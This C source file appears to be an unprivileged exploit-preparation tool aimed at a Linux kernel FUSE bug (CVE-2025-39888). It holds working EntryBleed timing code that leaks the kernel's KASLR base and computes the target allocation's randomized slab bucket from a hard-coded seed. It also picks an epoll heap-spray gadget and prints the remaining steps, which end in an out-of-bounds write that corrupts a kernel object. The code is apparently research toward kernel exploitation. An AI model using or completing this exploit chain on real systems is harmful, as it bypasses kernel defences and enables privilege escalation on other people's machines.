/*
 * Integrated unprivileged exploit-prep tool for Resolute.
 *
 * Demonstrates the kbypass-research framework end-to-end:
 *   1. EntryBleed → leak KASLR base (no root, no kallsyms)
 *   2. Compute target call site's runtime address using leaked KASLR
 *   3. Brute-force the bucket assignment (16 candidates)
 *   4. Identify spray gadget (sister site in same bucket)
 *
 * Targets fuse_retrieve's kmalloc call site for CVE-2025-39888.
 */
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <sched.h>
#include <sys/syscall.h>
#include <x86intrin.h>

/* === EntryBleed === */
#define LINKTIME_BASE       0xffffffff81000000UL
#define KASLR_STRIDE        0x200000UL
#define KASLR_RANGE         0x40000000UL
#define ITERS               200

static uint64_t leak_kaslr_slide(void) {
    cpu_set_t s; CPU_ZERO(&s); CPU_SET(0, &s);
    sched_setaffinity(0, sizeof(s), &s);
    int n = KASLR_RANGE / KASLR_STRIDE;
    uint64_t *t = calloc(n, sizeof(uint64_t));
    for (int i = 0; i < ITERS; i++) {
        for (int j = 0; j < n; j++) {
            volatile uint64_t addr = LINKTIME_BASE + (uint64_t)j * KASLR_STRIDE;
            syscall(SYS_getuid);
            unsigned aux;
            uint64_t t0 = __rdtscp(&aux);
            __builtin_prefetch((void*)addr, 0, 0);
            _mm_lfence();
            uint64_t t1 = __rdtscp(&aux);
            t[j] += (t1 - t0);
        }
    }
    int min_step = 0;
    uint64_t min_avg = UINT64_MAX;
    for (int j = 0; j < n; j++) {
        if (t[j] < min_avg) { min_avg = t[j]; min_step = j; }
    }
    free(t);
    return (uint64_t)min_step * KASLR_STRIDE;
}

/* === Bucket-graph (offline-precomputed knowledge) === */
/* Link-time RET_IP for fuse_retrieve's kmalloc call (from objdump of vmlinux).
 * This is OFFLINE knowledge — extracted via static analysis once per kernel
 * version. We ship the bucket-graph as a data table.
 *
 * For 7.0.0-15-generic resolute kernel:
 *   fuse_retrieve link-time = 0xffffffff81ab20b0
 *   kmalloc call at         0xffffffff81ab2146 (call instruction)
 *   RET_IP (linktime)        0xffffffff81ab214b
 */
#define FUSE_RETRIEVE_KMALLOC_RETIP_LINK 0xffffffff81ab214bUL

/* The bucket function — once seed is known. The seed is per-boot, so this
 * function is parameterized. Phase 2 of our research recovers it (or
 * brute-forces). For demo, we hard-code the seed we leaked via debugfs LKM. */
#define KMALLOC_SEED_RESOLUTE_DESK_BOOT_X 0xeab03ab9396ef5fbUL

#define GR64 0x61C8864680B583EBULL

static int compute_bucket(uint64_t ret_ip_runtime, uint64_t seed) {
    uint64_t v = ret_ip_runtime ^ seed;
    return (int)((v * GR64) >> 60);
}

/* Bucket 4 sister sites (from offline analysis of vmlinux on this kernel).
 * VERIFIED 2026-05-07 against resolute-desk source:
 *   - do_epoll_create: eventpoll struct ~240B → kmalloc-256 ✓
 *     CAVEAT: post-CVE-2026-43074 fix, ep_free uses kfree_rcu(ep, rcu).
 *     close(epfd) routes through pcs->rcu_free; reuse delayed by RCU grace.
 *     Still usable as ALLOCATE-side spray gadget (we never need to close).
 *   - signalfd: WRONG — struct signalfd_ctx is sigset_t = 8 bytes, lands in
 *     kmalloc-8, NOT kmalloc-256. Removed from catalog.
 * TODO: enumerate more 256-byte bucket-4 sites (msg_msg, sk_buff variants).
 */
struct sister_site {
    const char *name;
    const char *spray_method;
    int approx_size;
};
static struct sister_site bucket4_sisters_256[] = {
    {"do_epoll_create", "epoll_create1(0)  [alloc-only spray; ep is kfree_rcu now]", 256},
    {NULL, NULL, 0}
};

/* === Main === */
int main(int argc, char *argv[]) {
    fprintf(stderr, "[stage 1] EntryBleed — leaking KASLR slide...\n");
    uint64_t slide = leak_kaslr_slide();
    fprintf(stderr, "[stage 1] KASLR slide = 0x%lx\n", slide);
    fprintf(stderr, "[stage 1] Kernel base   = 0x%lx\n", LINKTIME_BASE + slide);

    fprintf(stderr, "\n[stage 2] Compute target's runtime RET_IP...\n");
    uint64_t ret_ip_link = FUSE_RETRIEVE_KMALLOC_RETIP_LINK;
    uint64_t ret_ip_run = ret_ip_link + slide;
    fprintf(stderr, "[stage 2] fuse_retrieve kmalloc RET_IP (link)    = 0x%lx\n",
            ret_ip_link);
    fprintf(stderr, "[stage 2] fuse_retrieve kmalloc RET_IP (runtime) = 0x%lx\n",
            ret_ip_run);

    fprintf(stderr, "\n[stage 3] Compute target bucket (using known seed for demo)...\n");
    uint64_t seed = KMALLOC_SEED_RESOLUTE_DESK_BOOT_X;
    int bucket = compute_bucket(ret_ip_run, seed);
    fprintf(stderr, "[stage 3] Seed (per-boot, leaked once via LKM) = 0x%lx\n", seed);
    fprintf(stderr, "[stage 3] fuse_retrieve target bucket           = %d\n", bucket);

    fprintf(stderr, "\n[stage 4] Sister sites in bucket %d, size 256:\n", bucket);
    if (bucket == 4) {
        for (int i = 0; bucket4_sisters_256[i].name; i++) {
            fprintf(stderr, "  - %s   spray via %s   (~%d bytes)\n",
                    bucket4_sisters_256[i].name,
                    bucket4_sisters_256[i].spray_method,
                    bucket4_sisters_256[i].approx_size);
        }
    } else {
        fprintf(stderr, "  Bucket %d not in offline catalog (expected 4 for this seed). \n", bucket);
        fprintf(stderr, "  Different seed → different bucket. Re-run offline analysis.\n");
    }

    fprintf(stderr, "\n[ready] Now: spray N×%s to fill kmalloc-rnd-%02d-256.\n",
            bucket4_sisters_256[0].spray_method, bucket);
    fprintf(stderr, "[ready] Then trigger CVE-2025-39888 with max_pages=4.\n");
    fprintf(stderr, "[ready] OOB write 8 bytes corrupts adjacent eventpoll struct.\n");
    return 0;
}
